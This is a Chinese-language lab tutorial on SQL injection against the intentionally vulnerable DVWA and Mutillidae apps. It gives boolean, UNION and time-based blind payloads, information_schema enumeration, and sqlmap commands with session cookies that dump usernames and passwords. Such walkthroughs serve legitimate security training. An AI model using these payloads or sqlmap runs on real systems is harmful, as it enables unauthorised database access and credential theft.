1、查询数据语句
1 select * from users; 2 select user_id,first_name,last_name from users; 3 desc mysql.user //查看表结构 4 //条件查询 5 select user,password,host from mysql.user where user='root' 6 7 //联合查询 8 select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users; 9 10 //猜字段数,直到试到合适的字段数z 11 select * from dvwa.users union select 1,2,3;
1 information_schema 2 可以认为是数据库字典, 保存了MySQL的表、库的信息 3 select * from information_schema.TABLES limit 1G; 查看表的详细信息 4 *************************** 1. row *************************** 5 TABLE_CATALOG: NULL 6 TABLE_SCHEMA: information_schema 7 TABLE_NAME: CHARACTER_SETS 8 TABLE_TYPE: SYSTEM VIEW 9 ENGINE: MEMORY 10 VERSION: 10 11 ROW_FORMAT: Fixed 12 TABLE_ROWS: NULL 13 AVG_ROW_LENGTH: 384 14 DATA_LENGTH: 0 15 MAX_DATA_LENGTH: 16604160 16 INDEX_LENGTH: 0 17 DATA_FREE: 0 18 AUTO_INCREMENT: NULL 19 CREATE_TIME: NULL 20 UPDATE_TIME: NULL 21 CHECK_TIME: NULL 22 TABLE_COLLATION: utf8_general_ci 23 CHECKSUM: NULL 24 CREATE_OPTIONS: max_rows=43690 25 TABLE_COMMENT:
2、低安全级别
输入ID1,前端会显示对应的用户名
在输入框内输入user ID后,系统会自动返回ID对应的用户名,此时在数据库端实际的指令是
1 select first_name,last_name from dvwa.users where user_id=1;
2.1基于布尔的注入
布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码。输入代码:
1 'or 1=1 -- '
1 原始语句 2 mysql>select first_name,last_name from dvwa.users where user_id=''; 3 4 SQL注入语句解析:'or 1=1 -- ' 5 mysql>select first_name,last_name from dvwa.users where user_id=' 'or 1=1 --' '; 6 说明: 7 第一个'用于闭合前面的条件 8 or 1=1为真的条件 9 --将注释后面的所有语句
2.2基于union注入
union语句用于联合前面的select查询语句,合并查询更多信息;一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息
1 //猜测数据列数 2 ' union select 1 -- ' 3 ' union select 1,2 -- ' 4 ' union select 1,2,3 -- ' 5 SQL注入语句解析 6 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1 -- '' 7 8 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '' 9 10 //获取当前数据库及用户信息 11 ' union select version(),database() -- ' 12 ' union select user(),database() -- ' 13 mysql>select first_name,last_name from dvwa.users where user_id='' union select version(),database() --'';
14 mysql>select first_name,last_name from dvwa.users where user_id='' union select user(),database() --'';
说明:
version() 获取数据库版本信息
database() 获得当前数据库名
user() 获得当前用户名
//查询数据库中所有表
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息
SQL注入语句解析
//查询所有表
1 mysql>select * from information_schema.TABLESG
1 //查询所有库名 2 ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ' //前端注入SQL语句 3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ''; //后端数据库查询语句
1 // 查看所在库中所有表名 2 ' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' 3 mysql>select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' '
1 //同时查询表名及对应库名 2 ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' 3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' '
1 //原始语句,$id为前端输入的id,如1,2,3 2 mysql>select first_name,last_name from dvwa.users where user_id='$id'
1 //查询数据表,查询字段名 2 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ' 3 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ' 4 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '
上述注入在后端数据库查询语句如下
1 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ' ' 2 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ' ' 3 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- ' '
1 //查询数据列 2 'union select NULL,user from users -- ' 3 'union select NULL,password from users -- ' 4 'union select user,password from users -- ' 5 'union select NULL,GRANTEE from USER_PRIVILEGES -- ' 6 'union select password,concat(first_name,' ',last_name,' ' ,user) from users -- '
2.3 基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。输入1为真语句,后面附加' and sleep(5)-- ',延迟5秒钟返回,说明后面的语句是可以执行的
SQL注入语句解析
1 mysql>select first_name,last_name from dvwa.users where user_id ='1' and sleep(5) -- '
2.4 sqlmap自动化注入
SQL注入比较好用的工具,首推开源工具sqlmap。sqlmap是国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
sqlmap支持MySQL,Oracle,postgreSQL,Microsoft SQL server,Microsoft access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
访问以下链接得到有SQL注入的页面:http://192.168.152.148/mutillidae/index.php?page=user-info.php
输入用户名,密码后复制URL到sqlmap进行自动化注入。
sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -p username
--batch 表示自动化完成 -p username 指定对username字段进行注入。最后得到的注入结果如下,
sqlmap参数解析:
--users 对用户进行注入
--current-user 对当前用户注入
--dbs 过滤数据库
--current-db 过滤当前数据库
--batch //自动化完成
-D database_name --tables //对某个数据库进行注入
-D database_name -T table_name --columns //对数据库表中的列进行注入
-D database_name -T table_name -C username,password --dump //指定获取哪些字段的内容
-D database_name -T table_name --dump-all //获取所有字段内容
输入sqlmap -h获取帮助
-a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --passwords Enumerate DBMS users password hashes --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate
开始注入
1、获取所有数据库信息
sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch --dbs
2、对某个数据库进行注入,本例获取dvwa的表信息
sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa --tables
3、对dvwa数据库的users表进行注入
sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users --columns
4、或者users表中的字段所有内容
sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users --dump-all
当然也可以对某个字段进行注入
sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users -C "user" --dump
2.5 使用sqlmap对dvwa进行自动化注入
2.5.1 获取注入点URL
在输入框中输入“1”,提交后复制URL,由于系统需要登录,因此使用sqlmap注入时需要把cookie加上去
2.5.2获取数据库
1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --dbs
2.5.3 获取表
1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa --tables
2.5.4获取列
1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users --colums
2.5.5 获取用户名和密码
1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users -C password,user --dump